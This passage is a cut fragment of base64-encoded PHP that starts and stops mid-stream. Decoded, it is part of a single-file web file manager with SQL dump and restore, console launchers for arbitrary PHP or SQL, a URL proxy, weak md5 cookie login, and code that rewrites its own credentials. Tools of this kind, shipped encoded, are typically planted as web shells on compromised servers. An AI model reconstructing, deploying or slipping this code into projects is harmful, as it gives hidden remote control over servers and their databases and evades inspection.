dHJ1ZSk7CQ0KCQlvYl9lbmRfY2xlYW4oKTsJDQoJCSRjb25uZWN0aW9uLT5jbG9zZSgpOw0KCQlyZXR1cm4gJzxwcmU+Jy5zdHJpcHNsYXNoZXMoJHZkdW1wKS4nPC9wcmU+JzsNCgl9DQp9DQoNCmZ1bmN0aW9uIGZtX2JhY2t1cF90YWJsZXMoJHRhYmxlcyA9ICcqJywgJGZ1bGxfYmFja3VwID0gdHJ1ZSkgew0KCWdsb2JhbCAkcGF0aDsNCgkkbXlzcWxkYiA9IGZtX3NxbF9jb25uZWN0KCk7DQoJJGRlbGltaXRlciA9ICI7IFxuICBcbiI7DQoJaWYoJHRhYmxlcyA9PSAnKicpCXsNCgkJJHRhYmxlcyA9IGFycmF5KCk7DQoJCSRyZXN1bHQgPSAkbXlzcWxkYi0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7DQoJCXdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfcm93KCRyZXN1bHQpKQl7DQoJCQkkdGFibGVzW10gPSAkcm93WzBdOw0KCQl9DQoJfSBlbHNlIHsNCgkJJHRhYmxlcyA9IGlzX2FycmF5KCR0YWJsZXMpID8gJHRhYmxlcyA6IGV4cGxvZGUoJywnLCR0YWJsZXMpOw0KCX0NCiAgICANCgkkcmV0dXJuPScnOw0KCWZvcmVhY2goJHRhYmxlcyBhcyAkdGFibGUpCXsNCgkJJHJlc3VsdCA9ICRteXNxbGRiLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7DQoJCSRudW1fZmllbGRzID0gbXlzcWxpX251bV9maWVsZHMoJHJlc3VsdCk7DQoJCSRyZXR1cm4uPSAnRFJPUCBUQUJMRSBJRiBFWElTVFMgYCcuJHRhYmxlLidgJy4kZGVsaW1pdGVyOw0KCQkkcm93MiA9IG15c3FsaV9mZXRjaF9yb3coJG15c3FsZGItPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSAnLiR0YWJsZSkpOw0KCQkkcmV0dXJuLj0kcm93MlsxXS4kZGVsaW1pdGVyOw0KICAgICAgICBpZiAoJGZ1bGxfYmFja3VwKSB7DQoJCWZvciAoJGkgPSAwOyAkaSA8ICRudW1fZmllbGRzOyAkaSsrKSAgew0KCQkJd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpIHsNCgkJCQkkcmV0dXJuLj0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCBWQUxVRVMoJzsNCgkJCQlmb3IoJGo9MDsgJGo8JG51bV9maWVsZHM7ICRqKyspCXsNCgkJCQkJJHJvd1skal0gPSBhZGRzbGFzaGVzKCRyb3dbJGpdKTsNCgkJCQkJJHJvd1skal0gPSBzdHJfcmVwbGFjZSgiXG4iLCJcXG4iLCRyb3dbJGpdKTsNCgkJCQkJaWYgKGlzc2V0KCRyb3dbJGpdKSkgeyAkcmV0dXJuLj0gJyInLiRyb3dbJGpdLiciJyA7IH0gZWxzZSB7ICRyZXR1cm4uPSAnIiInOyB9DQoJCQkJCWlmICgkajwoJG51bV9maWVsZHMtMSkpIHsgJHJldHVybi49ICcsJzsgfQ0KCQkJCX0NCgkJCQkkcmV0dXJuLj0gJyknLiRkZWxpbWl0ZXI7DQoJCQl9DQoJCSAgfQ0KCQl9IGVsc2UgeyANCgkJJHJldHVybiA9IHByZWdfcmVwbGFjZSgiI0FVVE9fSU5DUkVNRU5UPVtcZF0rICNpcyIsICcnLCAkcmV0dXJuKTsNCgkJfQ0KCQkkcmV0dXJuLj0iXG5cblxuIjsNCgl9DQoNCgkvL3NhdmUgZmlsZQ0KICAgICRmaWxlPWdtZGF0ZSgiWS1tLWRfSC1pLXMiLHRpbWUoKSkuJy5zcWwnOw0KCSRoYW5kbGUgPSBmb3BlbigkZmlsZSwndysnKTsNCglmd3JpdGUoJGhhbmRsZSwkcmV0dXJuKTsNCglmY2xvc2UoJGhhbmRsZSk7DQoJJGFsZXJ0ID0gJ29uQ2xpY2s9ImlmKGNvbmZpcm0oXCcnLiBfXygnRmlsZSBzZWxlY3RlZCcpLic6IFxuJy4gJGZpbGUuICcuIFxuJy5fXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/JykgLiAnXCcpKSBkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXCc/ZGVsZXRlPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggIC4gJ1wnIic7DQogICAgcmV0dXJuICRmaWxlLic6ICcuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRmaWxlLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4kZmlsZSkuJyA8YSBocmVmPSIjIiB0aXRsZT0iJyAuIF9fKCdEZWxldGUnKSAuICcgJy4gJGZpbGUgLiAnIiAnIC4gJGFsZXJ0IC4gJz4nIC4gX18oJ0RlbGV0ZScpIC4gJzwvYT4nOw0KfQ0KDQpmdW5jdGlvbiBmbV9yZXN0b3JlX3RhYmxlcygkc3FsRmlsZVRvRXhlY3V0ZSkgew0KCSRteXNxbGRiID0gZm1fc3FsX2Nvbm5lY3QoKTsNCgkkZGVsaW1pdGVyID0gIjsgXG4gIFxuIjsNCiAgICAvLyBMb2FkIGFuZCBleHBsb2RlIHRoZSBzcWwgZmlsZQ0KICAgICRmID0gZm9wZW4oJHNxbEZpbGVUb0V4ZWN1dGUsInIrIik7DQogICAgJHNxbEZpbGUgPSBmcmVhZCgkZixmaWxlc2l6ZSgkc3FsRmlsZVRvRXhlY3V0ZSkpOw0KICAgICRzcWxBcnJheSA9IGV4cGxvZGUoJGRlbGltaXRlciwkc3FsRmlsZSk7DQoJDQogICAgLy9Qcm9jZXNzIHRoZSBzcWwgZmlsZSBieSBzdGF0ZW1lbnRzDQogICAgZm9yZWFjaCAoJHNxbEFycmF5IGFzICRzdG10KSB7DQogICAgICAgIGlmIChzdHJsZW4oJHN0bXQpPjMpew0KCQkJJHJlc3VsdCA9ICRteXNxbGRiLT5xdWVyeSgkc3RtdCk7DQoJCQkJaWYgKCEkcmVzdWx0KXsNCgkJCQkJJHNxbEVycm9yQ29kZSA9IG15c3FsaV9lcnJubygkbXlzcWxkYi0+Y29ubmVjdGlvbik7DQoJCQkJCSRzcWxFcnJvclRleHQgPSBteXNxbGlfZXJyb3IoJG15c3FsZGItPmNvbm5lY3Rpb24pOw0KCQkJCQkkc3FsU3RtdCAgICAgID0gJHN0bXQ7DQoJCQkJCWJyZWFrOw0KICAgICAgICAgICAJICAgICB9DQogICAgICAgICAgIAkgIH0NCiAgICAgICAgICAgfQ0KaWYgKGVtcHR5KCRzcWxFcnJvckNvZGUpKSByZXR1cm4gX18oJ1N1Y2Nlc3MnKS4nIOKAlCAnLiRzcWxGaWxlVG9FeGVjdXRlOw0KZWxzZSByZXR1cm4gJHNxbEVycm9yVGV4dC4nPGJyLz4nLiRzdG10Ow0KfQ0KDQpmdW5jdGlvbiBmbV9pbWdfbGluaygkZmlsZW5hbWUpew0KCXJldHVybiAnLi8nLmJhc2VuYW1lKF9fRklMRV9fKS4nP2ltZz0nLmJhc2U2NF9lbmNvZGUoJGZpbGVuYW1lKTsNCn0NCg0KZnVuY3Rpb24gZm1faG9tZV9zdHlsZSgpew0KCXJldHVybiAnDQppbnB1dCwgaW5wdXQuZm1faW5wdXQgew0KCXRleHQtaW5kZW50OiAycHg7DQp9DQoNCmlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0LCBpbnB1dC5mbV9pbnB1dCB7DQoJY29sb3I6IGJsYWNrOw0KCWZvbnQ6IG5vcm1hbCA4cHQgVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsNCglib3JkZXItY29sb3I6IGJsYWNrOw0KCWJhY2tncm91bmQtY29sb3I6ICNGQ0ZDRkMgbm9uZSAhaW1wb3J0YW50Ow0KCWJvcmRlci1yYWRpdXM6IDA7DQoJcGFkZGluZzogMnB4Ow0KfQ0KDQppbnB1dC5mbV9pbnB1dCB7DQoJYmFja2dyb3VuZDogI0ZDRkNGQyBub25lICFpbXBvcnRhbnQ7DQoJY3Vyc29yOiBwb2ludGVyOw0KfQ0KDQouaG9tZSB7DQoJYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQU1BQUFBb0xROVRBQUFBQkdkQlRVRUFBSy9JTndXSzZRQUFBZ1JRVEZSRi9mMzk2T2pvLy8vL3RUMDJ6citmdzY2UnRqNDMyVEVwM01YRTJEQXIzVFlwMXk0bXREdzIvN0JNLzdCT3FWcGMvOGwzMWpjcXE2ZW53Y0hCMlRnaTVqZ3FWcGJGdnJhMm5CQVYvUHo4MlMwam54MFczVFVrcVNnaTRlSGg0VHNyZTR3b3N6MDI2dVBqekdZZDZVczN5bkF5ZFVCQTVLbDNmbTVlcVphVzdPRGdpMlZnK1BqNHVZK0V3TG01Ylk5VS8vN2pmTHRDK3RPSzNqY20vNzF1MmpZbzFVWWg1YUpsL3NlQzNqRW0xMmttSnJJQTFqTW0vOWFVNExoMGUwMUJsSWFFLy8vZGhNZEM3SUEvL2ZUWjJjM01XNm5OMzB3Zjk1VmQ0SmRYb1hWb3M4bkU0ZWZOLys2M0lKZ1NuWWhsN0Y0Y3NYdDg5R1FVd0wrL2psMWM0MUFxK2ZiMmdtdEkxckthMkM0a0phSUEzallybFR3NXRqNDIzalluM2NYRTF6UW94TUhCcDFsWjNEZ21xaWtzLyttY2pMSzgzallreW1NVjNUWWsvL0hNK3U3V2htdHIwb2RUcGFPamZXSmZySHBnLzhCcy83dFcvN1ZlKzRVNTJETW0zTUxCbjRxTGdOVk02TXpCM2xFZmxJdUwvK2pBLy8vMjBMT3pqWHg4LzdsYldwSkcyQzhrM1Rvc0pLTUExeXdqb3BPUjF6WXA1RHNwaWF5K3lLTmhxS1NrOE5XNi9mam5zN096MnRuWnV6ODg3YitXM2FSWS8rbXM0ckNFM1RvdDdWODViS3hqdUVBM3c0NVZoNXVocTZhbTRjRnhnWlpXLzlxSXV3Z0t5MHNXK3VqVDRUUW50ejQyM0M4aTN6VWovK0t3L2E1ZDZVTXh1TDZ3ekRFci8vLy9jcUpRZkFBQUFLeDBVazVULy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vQUFXVkZiRUFBQUFaZEVWWWRGTnZablIzWVhKbEFFRmtiMkpsSUVsdFlXZGxVbVZoWkhseHlXVThBQUFBMlVsRVFWUW9VMk5ZalFZWXNBaUU4VTlZekRZalZwR1pSeE1pRUNpdE1yVlp2b01yVGxRMkVTUlFKMkZWd2luWWJtcVRVTG9vaG5FMWcxYUtHUy9mTk10azQweVo5S1ZMUWhnWWt1WTdOeFF2WHlIVkZObkt6UjY5cXB4QlBNZXowRVRBUXlUVXZTb2dhSUZhUGNOcVYvTTVkaGEyUmwyVGltYjZaK1FCRFkxWE4vU2J1OHhGTEczZUxEZmwyVUFCamlsTzFvMDEyWjNlazFsWlZJV0FBbVVUSzZMMHMzcFgramo2cHVaMkF3V1V2QlJhcGhzd01kVXVqQ2l3RHdhNVZFZFBJN3luVWxjN3YxcVlVUkxxdWY0Mmh6NDVDQlBEdHdBQ3JtK1JEY3hKWUFBQUFBQkpSVTVFcmtKZ2dnPT0iKTsNCgliYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0Ow0KfSc7DQp9DQoNCmZ1bmN0aW9uIGZtX2NvbmZpZ19jaGVja2JveF9yb3coJG5hbWUsJHZhbHVlKSB7DQoJZ2xvYmFsICRmbV9jb25maWc7DQoJcmV0dXJuICc8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgaWQ9ImZtX2NvbmZpZ18nLiR2YWx1ZS4nIiBuYW1lPSJmbV9jb25maWdbJy4kdmFsdWUuJ10iIHZhbHVlPSIxIiAnLihlbXB0eSgkZm1fY29uZmlnWyR2YWx1ZV0pPycnOidjaGVja2VkPSJ0cnVlIicpLicgdHlwZT0iY2hlY2tib3giPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj48bGFiZWwgZm9yPSJmbV9jb25maWdfJy4kdmFsdWUuJyI+Jy4kbmFtZS4nPC90ZD48L3RyPic7DQp9DQoNCmZ1bmN0aW9uIGZtX3Byb3RvY29sKCkgew0KCWlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9TQ0hFTUUnXSkpIHJldHVybiAkX1NFUlZFUlsnSFRUUF9TQ0hFTUUnXS4nOi8vJzsNCglpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddID09ICdvbicpIHJldHVybiAnaHR0cHM6Ly8nOw0KCWlmIChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSkgJiYgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzKSByZXR1cm4gJ2h0dHBzOi8vJzsNCglpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnKSByZXR1cm4gJ2h0dHBzOi8vJzsNCglyZXR1cm4gJ2h0dHA6Ly8nOw0KfQ0KDQpmdW5jdGlvbiBmbV9zaXRlX3VybCgpIHsNCglyZXR1cm4gZm1fcHJvdG9jb2woKS4kX1NFUlZFUlsnSFRUUF9IT1NUJ107DQp9DQoNCmZ1bmN0aW9uIGZtX3VybCgkZnVsbD1mYWxzZSkgew0KCSRob3N0PSRmdWxsP2ZtX3NpdGVfdXJsKCk6Jy4nOw0KCXJldHVybiAkaG9zdC4nLycuYmFzZW5hbWUoX19GSUxFX18pOw0KfQ0KDQpmdW5jdGlvbiBmbV9ob21lKCRmdWxsPWZhbHNlKXsNCglyZXR1cm4gJyZuYnNwOzxhIGhyZWY9IicuZm1fdXJsKCRmdWxsKS4nIiB0aXRsZT0iJy5fXygnSG9tZScpLiciPjxzcGFuIGNsYXNzPSJob21lIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+PC9hPic7DQp9DQoNCmZ1bmN0aW9uIGZtX3J1bl9pbnB1dCgkbG5nKSB7DQoJZ2xvYmFsICRmbV9jb25maWc7DQoJJHJldHVybiA9ICFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfJy4kbG5nLidfY29uc29sZSddKSA/IA0KCScNCgkJCQk8Zm9ybSAgbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuZm1fdXJsKCkuJyIgc3R5bGU9ImRpc3BsYXk6aW5saW5lIj4NCgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSInLiRsbmcuJ3J1biIgdmFsdWU9Iicuc3RydG91cHBlcigkbG5nKS4nICcuX18oJ0NvbnNvbGUnKS4nIj4NCgkJCQk8L2Zvcm0+DQonIDogJyc7DQoJcmV0dXJuICRyZXR1cm47DQp9DQoNCmZ1bmN0aW9uIGZtX3VybF9wcm94eSgkbWF0Y2hlcykgew0KCSRsaW5rID0gc3RyX3JlcGxhY2UoJyZhbXA7JywnJicsJG1hdGNoZXNbMl0pOw0KCSR1cmwgPSBpc3NldCgkX0dFVFsndXJsJ10pPyRfR0VUWyd1cmwnXTonJzsNCgkkcGFyc2VfdXJsID0gcGFyc2VfdXJsKCR1cmwpOw0KCSRob3N0ID0gJHBhcnNlX3VybFsnc2NoZW1lJ10uJzovLycuJHBhcnNlX3VybFsnaG9zdCddLicvJzsNCglpZiAoc3Vic3RyKCRsaW5rLDAsMik9PScvLycpIHsNCgkJJGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluayxmbV9wcm90b2NvbCgpLDAsMik7DQoJfSBlbHNlaWYgKHN1YnN0cigkbGluaywwLDEpPT0nLycpIHsNCgkJJGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluaywkaG9zdCwwLDEpOwkNCgl9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsMik9PScuLycpIHsNCgkJJGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluaywkaG9zdCwwLDIpOwkNCgl9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsNCk9PSdodHRwJykgew0KCQkvL2FsbGVzIG1hY2hlbiB3dW5kZXJzY2hvbg0KCX0gZWxzZSB7DQoJCSRsaW5rID0gJGhvc3QuJGxpbms7DQoJfSANCglpZiAoJG1hdGNoZXNbMV09PSdocmVmJyAmJiAhc3Rycmlwb3MoJGxpbmssICdjc3MnKSkgew0KCQkkYmFzZSA9IGZtX3NpdGVfdXJsKCkuJy8nLmJhc2VuYW1lKF9fRklMRV9fKTsNCgkJJGJhc2VxID0gJGJhc2UuJz9wcm94eT10cnVlJnVybD0nOw0KCQkkbGluayA9ICRiYXNlcS51cmxlbmNvZGUoJGxpbmspOw0KCX0gZWxzZWlmIChzdHJyaXBvcygkbGluaywgJ2NzcycpKXsNCgkJLy/QutCw0Lot0YLQviDRgtC+0LbQtSDQv9C+0LTQvNC10L3Rj9GC0Ywg0L3QsNC00L4NCgl9DQoJcmV0dXJuICRtYXRjaGVzWzFdLic9IicuJGxpbmsuJyInOw0KfQ0KIA0KZnVuY3Rpb24gZm1fdHBsX2Zvcm0oJGxuZ190cGwpIHsNCglnbG9iYWwgJHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9Ow0KCSR0cGxfYXJyID0ganNvbl9kZWNvZGUoJHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9LHRydWUpOw0KCSRzdHIgPSAnJzsNCglmb3JlYWNoICgkdHBsX2FyciBhcyAka3RwbD0+JHZ0cGwpIHsNCgkJJHN0ciAuPSAnPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9IicuJGxuZ190cGwuJ19uYW1lW10iIHZhbHVlPSInLiRrdHBsLiciPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj48dGV4dGFyZWEgbmFtZT0iJy4kbG5nX3RwbC4nX3ZhbHVlW10iICBjb2xzPSI1NSIgcm93cz0iNSIgY2xhc3M9InRleHRhcmVhX2lucHV0Ij4nLiR2dHBsLic8L3RleHRhcmVhPiA8aW5wdXQgbmFtZT0iZGVsXycucmFuZCgpLiciIHR5cGU9ImJ1dHRvbiIgb25DbGljaz0idGhpcy5wYXJlbnROb2RlLnBhcmVudE5vZGUucmVtb3ZlKCk7IiB2YWx1ZT0iJy5fXygnRGVsZXRlJykuJyIvPjwvdGQ+PC90cj4nOw0KCX0NCnJldHVybiAnDQo8dGFibGU+DQo8dHI+PHRoIGNvbHNwYW49IjIiPicuc3RydG91cHBlcigkbG5nX3RwbCkuJyAnLl9fKCd0ZW1wbGF0ZXMnKS4nICcuZm1fcnVuX2lucHV0KCRsbmdfdHBsKS4nPC90aD48L3RyPg0KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iJy4kbG5nX3RwbC4nIiBuYW1lPSJ0cGxfZWRpdGVkIj4NCjx0cj48dGQgY2xhc3M9InJvdzEiPicuX18oJ05hbWUnKS4nPC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPicuX18oJ1ZhbHVlJykuJzwvdGQ+PC90cj4NCicuJHN0ci4nDQo8dHI+PHRkIGNvbHNwYW49IjIiIGNsYXNzPSJyb3czIj48aW5wdXQgbmFtZT0icmVzIiB0eXBlPSJidXR0b24iIG9uQ2xpY2s9ImRvY3VtZW50LmxvY2F0aW9uLmhyZWYgPSBcJycuZm1fdXJsKCkuJz9mbV9zZXR0aW5ncz10cnVlXCc7IiB2YWx1ZT0iJy5fXygnUmVzZXQnKS4nIi8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTYXZlJykuJyIgPjwvdGQ+PC90cj4NCjwvZm9ybT4NCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuJGxuZ190cGwuJyIgbmFtZT0idHBsX2VkaXRlZCI+DQo8dHI+PHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iJy4kbG5nX3RwbC4nX25ld19uYW1lIiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0iJy5fXygnTmV3JykuJyAnLl9fKCdOYW1lJykuJyI+PC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjx0ZXh0YXJlYSBuYW1lPSInLiRsbmdfdHBsLidfbmV3X3ZhbHVlIiAgY29scz0iNTUiIHJvd3M9IjUiIGNsYXNzPSJ0ZXh0YXJlYV9pbnB1dCIgcGxhY2Vob2xkZXI9IicuX18oJ05ldycpLicgJy5fXygnVmFsdWUnKS4nIj48L3RleHRhcmVhPjwvdGQ+PC90cj4NCjx0cj48dGQgY29sc3Bhbj0iMiIgY2xhc3M9InJvdzMiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdBZGQnKS4nIiA+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCic7DQp9DQoNCmZ1bmN0aW9uIGZpbmRfdGV4dF9pbl9maWxlcygkZGlyLCAkbWFzaywgJHRleHQpIHsNCiAgICAkcmVzdWx0cyA9IGFycmF5KCk7DQogICAgaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRkaXIpKSB7DQogICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRlbnRyeSA9IHJlYWRkaXIoJGhhbmRsZSkpKSB7DQogICAgICAgICAgICBpZiAoJGVudHJ5ICE9ICIuIiAmJiAkZW50cnkgIT0gIi4uIikgew0KICAgICAgICAgICAgICAgICRwYXRoID0gJGRpciAuICIvIiAuICRlbnRyeTsNCiAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoKSkgew0KICAgICAgICAgICAgICAgICAgICAkcmVzdWx0cyA9IGFycmF5X21lcmdlKCRyZXN1bHRzLCBmaW5kX3RleHRfaW5fZmlsZXMoJHBhdGgsICRtYXNrLCAkdGV4dCkpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGlmIChmbm1hdGNoKCRtYXNrLCAkZW50cnkpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRjb250ZW50cywgJHRleHQpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHRzW10gPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBjbG9zZWRpcigkaGFuZGxlKTsNCiAgICB9DQogICAgcmV0dXJuICRyZXN1bHRzOw0KfQ0KDQoNCi8qIEVuZCBGdW5jdGlvbnMgKi8NCg0KLy8gYXV0aG9yaXphdGlvbg0KaWYgKCRhdXRoWydhdXRob3JpemUnXSkgew0KCWlmIChpc3NldCgkX1BPU1RbJ2xvZ2luJ10pICYmIGlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSkpew0KCQlpZiAoKCRfUE9TVFsnbG9naW4nXT09JGF1dGhbJ2xvZ2luJ10pICYmICgkX1BPU1RbJ3Bhc3N3b3JkJ109PSRhdXRoWydwYXNzd29yZCddKSkgew0KCQkJc2V0Y29va2llKCRhdXRoWydjb29raWVfbmFtZSddLCAkYXV0aFsnbG9naW4nXS4nfCcubWQ1KCRhdXRoWydwYXNzd29yZCddKSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7DQoJCQkkX0NPT0tJRVskYXV0aFsnY29va2llX25hbWUnXV09JGF1dGhbJ2xvZ2luJ10uJ3wnLm1kNSgkYXV0aFsncGFzc3dvcmQnXSk7DQoJCX0NCgl9DQoJaWYgKCFpc3NldCgkX0NPT0tJRVskYXV0aFsnY29va2llX25hbWUnXV0pIE9SICgkX0NPT0tJRVskYXV0aFsnY29va2llX25hbWUnXV0hPSRhdXRoWydsb2dpbiddLid8Jy5tZDUoJGF1dGhbJ3Bhc3N3b3JkJ10pKSkgew0KCQllY2hvICcNCic7ICANCmRpZSgpOw0KCX0NCglpZiAoaXNzZXQoJF9QT1NUWydxdWl0J10pKSB7DQoJCXVuc2V0KCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXSk7DQoJCXNldGNvb2tpZSgkYXV0aFsnY29va2llX25hbWUnXSwgJycsIHRpbWUoKSAtICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOw0KCQloZWFkZXIoJ0xvY2F0aW9uOiAnLmZtX3NpdGVfdXJsKCkuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOw0KCX0NCn0NCg0KLy8gQ2hhbmdlIGNvbmZpZw0KaWYgKGlzc2V0KCRfR0VUWydmbV9zZXR0aW5ncyddKSkgew0KCWlmIChpc3NldCgkX0dFVFsnZm1fY29uZmlnX2RlbGV0ZSddKSkgeyANCgkJdW5zZXQoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKTsNCgkJc2V0Y29va2llKCdmbV9jb25maWcnLCAnJywgdGltZSgpIC0gKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7DQoJCWhlYWRlcignTG9jYXRpb246ICcuZm1fdXJsKCkuJz9mbV9zZXR0aW5ncz10cnVlJyk7DQoJCWV4aXQoMCk7DQoJfQllbHNlaWYgKGlzc2V0KCRfUE9TVFsnZm1fY29uZmlnJ10pKSB7IA0KCQkkZm1fY29uZmlnID0gJF9QT1NUWydmbV9jb25maWcnXTsNCgkJc2V0Y29va2llKCdmbV9jb25maWcnLCBzZXJpYWxpemUoJGZtX2NvbmZpZyksIHRpbWUoKSArICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOw0KCQkkX0NPT0tJRVsnZm1fY29uZmlnJ10gPSBzZXJpYWxpemUoJGZtX2NvbmZpZyk7DQoJCSRtc2dfbnRpbWVzID0gX18oJ1NldHRpbmdzJykuJyAnLl9fKCdkb25lJyk7DQoJfQllbHNlaWYgKGlzc2V0KCRfUE9TVFsnZm1fbG9naW4nXSkpIHsgDQoJCWlmIChlbXB0eSgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ2F1dGhvcml6ZSddKSkgJF9QT1NUWydmbV9sb2dpbiddID0gYXJyYXkoJ2F1dGhvcml6ZScgPT4gJzAnKSArICRfUE9TVFsnZm1fbG9naW4nXTsNCgkJJGZtX2xvZ2luID0ganNvbl9lbmNvZGUoJF9QT1NUWydmbV9sb2dpbiddKTsNCgkJJGZnYyA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsNCgkJJHNlYXJjaCA9IHByZWdfbWF0Y2goJyNhdXRob3JpemF0aW9uW1xzXT9cPVtcc10ce1wiKC4qPylcIlx9XCc7IycsICRmZ2MsICRtYXRjaGVzKTsNCgkJaWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHsNCgkJCSRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pOw0KCQkJJHJlcGxhY2UgPSBzdHJfcmVwbGFjZSgneyInLiRtYXRjaGVzWzFdLicifScsJGZtX2xvZ2luLCRmZ2MpOw0KCQkJaWYgKGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkcmVwbGFjZSkpIHsNCgkJCQkkbXNnX250aW1lcyAuPSBfXygnRmlsZSB1cGRhdGVkJyk7DQoJCQkJaWYgKCRfUE9TVFsnZm1fbG9naW4nXVsnbG9naW4nXSAhPSAkYXV0aFsnbG9naW4nXSkgJG1zZ19udGltZXMgLj0gJyAnLl9fKCdMb2dpbicpLic6ICcuJF9QT1NUWydmbV9sb2dpbiddWydsb2dpbiddOw0KCQkJCWlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ3Bhc3N3b3JkJ10gIT0gJGF1dGhbJ3Bhc3N3b3JkJ10pICRtc2dfbnRpbWVzIC49ICcgJy5fXygnUGFzc3dvcmQnKS4nOiAnLiRfUE9TVFsnZm1fbG9naW4nXVsncGFzc3dvcmQnXTsNCgkJCQkkYXV0aCA9ICRfUE9TVFsnZm1fbG9naW4nXTsNCgkJCX0NCgkJCWVsc2UgJG1zZ19udGltZXMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7DQoJCQlpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2ZtX3Jlc3RvcmVfdGltZSddKSkgdG91Y2goX19GSUxFX18sJ